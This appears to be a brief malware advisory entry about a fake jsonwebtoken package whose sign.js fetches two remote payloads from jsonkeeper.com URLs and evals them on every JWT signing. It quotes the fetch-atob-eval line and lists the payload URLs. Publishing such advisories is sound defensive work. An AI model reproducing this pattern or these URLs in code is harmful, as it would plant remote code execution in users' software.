GCVE-110-OSM-2026-1362

Executes two independent remote second-stage payloads fetched from attacker-controlled domain www.jsonkeeper.com (https://www.jsonkeeper.com/b/2NZOS and https://www.jsonkeeper.com/b/UPBF0) via fetch + eval injected at lines 65 and 83 of sign.js. Masquerades as jsonwebtoken — the malicious eval fires during every JWT signing operation, targeting authentication-critical codepaths. sign.js stores two base64-encoded C2 URLs (HS_STRING, TOKEN_STRING). At lines 65 and 83 the module calls fetch(atob(HS_STRING/TOKEN_STRING)).then(r=>r.json()).then(d=>{eval(codeString);}) — two remote JS payloads are fetched and eval'd. Injected into a 9.7 KB copy of the legitimate jsonwebtoken sign.js. Uses same fetch-eval pattern as campaign siblings path-extend and path-internal.